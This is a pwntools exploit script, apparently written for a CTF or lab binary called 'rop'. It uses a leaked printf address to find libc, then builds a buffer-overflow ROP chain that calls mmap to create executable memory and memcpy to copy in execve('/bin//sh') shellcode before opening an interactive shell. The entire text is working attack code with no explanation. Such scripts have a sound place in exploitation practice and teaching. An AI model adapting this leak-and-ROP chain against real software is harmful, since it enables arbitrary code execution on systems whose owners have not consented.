from pwn import *

context.log_level = 'debug'

script = '''
b *0x08048591
'''

libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

binary = ELF('./rop')
p = process(binary.path)
#gdb.attach(p, script)

p.recvuntil(': ')
printf = p.recvuntil('\n')
printf = int(printf, 16)

new_memory = 0x20000000

#libc
libc_base = printf - 0x49670
mmap = libc_base + libc.symbols['mmap']
memcpy = libc_base + libc.symbols['memcpy']

#ROP Gadget
pushad = libc_base + 0x000079ec
popad = libc_base + 0x0016b802
xchg = libc_base + 0x000f80e3
pop_esi = libc_base + 0x00196db7
pop_ebp = libc_base + 0x0017f4b2
pop_ebx = libc_base + 0x0017f490

#Payload
payload = "A"*66

#mmap(0x20000000, 0x1000, 0x7, 0x22, 0xffffffff, 0x0)
payload += p32(mmap)
payload += p32(popad)
payload += p32(new_memory)
payload += p32(0x1000)
payload += p32(0x7)
payload += p32(0x22)
payload += p32(0xffffffff)
payload += p32(0x0)
payload += "AAAA"*2

#memcpy(0x20000000, shellcode_addr, len(shellcode))
payload += p32(memcpy)
payload += p32(xchg)
payload += p32(pop_esi)
payload += p32(new_memory)
payload += p32(pop_ebp)
payload += p32(new_memory)
payload += p32(pop_ebx)
payload += p32(len(shellcode))
payload += p32(pushad)
payload += shellcode

p.send(payload)
p.interactive()
